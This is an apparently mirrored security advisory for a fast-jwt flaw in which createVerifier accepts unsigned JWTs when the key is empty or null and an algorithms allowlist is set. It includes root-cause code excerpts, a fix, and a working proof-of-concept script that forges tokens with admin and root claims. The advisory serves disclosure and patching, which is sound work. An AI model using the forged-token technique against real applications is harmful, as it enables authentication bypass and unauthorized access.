fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE
try { createVerifier({ key: '' })(token) }
catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY
Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
- Uses
createVerifierwithkey: ''orkey: null(common when a secret is read from an unset environment variable, e.g.process.env.JWT_SECRET || ''), and - Sets
algorithmsto a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
if (keyType !== 'function') {
if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be null, empty, or a zero-length buffer.')
}
}
Also guard the combination explicitly:
if (!key && allowedAlgorithms.length > 0) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be falsy when algorithms is set.')
}
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | fast-jwt | < 6.3.1 | 6.3.1 |
References
- https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv
- https://github.com/nearform/fast-jwt/pull/649
- https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534
- https://github.com/nearform/fast-jwt
- https://github.com/nearform/fast-jwt/releases/tag/v6.3.1
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-20, CWE-347- Platform
- npm
- Package
fast-jwt- Disclosed
- 08.10.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-8wpc-h4q6-8fxv - CC BY 4.0
Vulnerability history: fast-jwt
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 11.2023 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 4
- High 4
- Medium 6
Disclosures per year
- 2023: 1
- 2024: 0
- 2025: 1
- 2026: 12
-
fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set this entry
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